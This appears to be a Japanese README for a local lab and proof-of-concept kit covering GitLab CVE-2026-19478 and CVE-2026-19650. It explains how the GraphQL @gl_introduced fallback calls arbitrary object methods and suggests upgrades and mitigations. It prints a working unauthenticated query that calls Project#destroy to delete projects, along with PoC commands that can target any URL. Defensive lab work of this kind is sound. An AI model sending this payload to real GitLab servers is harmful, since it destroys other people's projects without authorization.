
再現可能なA/Bラボ + GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced) 向けの安全なPoC
@gl_introduced 未認証の任意メソッド呼び出し(検証ラボ + PoC)CVE-2026-19478(GitLab CE/EE、CVSS 9.4、Critical)向けの再現可能なA/Bラボおよび安全なPoCです。 未認証の攻撃者が、GraphQLで解決されたドメインオブジェクト上の任意の0引数Rubyメソッドを呼び出せます。 例:
Project#destroyを呼び出して、認証情報なしで公開プロジェクトを削除することができます。同じリリースで修正された関連脆弱性 CVE-2026-19650(GraphQLマルチプレックス・クエリスワップ)のPoCも同梱しています。
認可されたセキュリティテスト/教育目的のみ。 すべては自身のローカルコンテナ上で実行されます。
GitLabにはGraphQLクライアントディレクティブ @gl_introduced(version: "X.Y.Z")(ローリングデプロイ向けの前方互換性)があります。
クエリが実行中サーバーより新しいバージョンのフィールドを指定すると、トレーサー
(Gitlab::Graphql::VersionFilter::IntroducedTracer)が静的検証の前にそれを除去してクエリを検証させ、
実行時には元のドキュメントを再実行して、未知のフィールドをフォールバックに解決させます。
バグはフォールバック(lib/gitlab/graphql/version_filter/future_field_fallback.rb、パッチ適用前)にあります:
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
リゾルバのない GraphQL::Schema::Field は、graphql-rubyによって
object.public_send(field_name) を呼び出して解決されます(graphql-ruby lib/graphql/schema/field.rb — この
respond_to?(@method_sym) → public_send 分岐は fallback_value が参照されるより前に実行されるため、
fallback_value: nil はデッドコードでした)。したがって、@gl_introduced の下では、クライアントが
現在解決中のオブジェクト上の任意の0引数メソッドと等しいフィールド名を選択し、サーバーがそれを呼び出します。
公開プロジェクトを解決し、destroy という名前の「将来フィールド」をリクエストすると → サーバーが Project#destroy を実行します。
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H)。Resolvers::NilResolver を使用して nil を返し、メソッドを呼び出しません。@gl_introduced(version:) はサーバーバージョンより大きい必要があります(99.0.0を使用)。to_param、destroy)。id)。そうでない場合、フィルタリング後のドキュメントは空の
セレクションセットになり、GitLabは "Field must have selections" バリデーションエラーを返します。要件:Docker + docker compose、空きRAM約8 GB、Python 3。
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh はインスタンスごとに、ベースURL、シードされた公開プロジェクトのパス(root/pub)、および管理者PATを出力します。
無害なメソッド(to_param)によるメソッド呼び出しプリミティブを使用します。データは変更されません。
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
期待される出力:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
一方、修正済みインスタンスでは:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
REST API経由で自身の使い捨て公開プロジェクトを作成し(setup.sh の管理者トークンが必要)、
その後未認証のGraphQL攻撃で削除して、プロジェクトが削除されたことを確認します。
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
期待される出力(脆弱なインスタンス):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
修正済みインスタンスでは、同じ実行でプロジェクトが依然として 200 OK を返し、destroy が null であると報告されます。
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
テストを許可されている任意のGitLabに対して --url を指定し、その上の公開プロジェクトに対して --project を指定します:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
検出は非破壊的です。所有していないものに対して --prove-destroy を使用しないでください。
19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 以降にアップグレードしてください。修正ではフォールバックを
Resolvers::NilResolver 経由に変更し(nil を返し、オブジェクトのメソッドを呼び出しません)。すぐにアップグレードできない場合は、
プロキシで @gl_introduced ディレクティブ/バージョンフィルタ経路をブロックするか、
未認証のGraphQLアクセスを制限してください。
| ファイル | 目的 |
|---|---|
docker-compose.yml | 脆弱な19.2.2-ce(:8222)+ 修正済み19.2.4-ce(:8224)を起動 |
setup.sh | 準備完了を待機し、インスタンスごとに root/pub 公開プロジェクト + 管理者トークンをシード |
poc_cve_2026_19478.py | 検出(安全)+ オプションの --prove-destroy による影響の証明 |
poc_cve_2026_19650.py | マルチプレックス・クエリスワップの検出(安全) |
--prove-destroy は自身の使い捨てプロジェクトを作成・削除します。root/pub やユーザーのデータには一切触れません。e283c6adeb3d(フォールバック)および d2ea4b971a98(マルチプレックススワップ)からメカニズムを導出しています。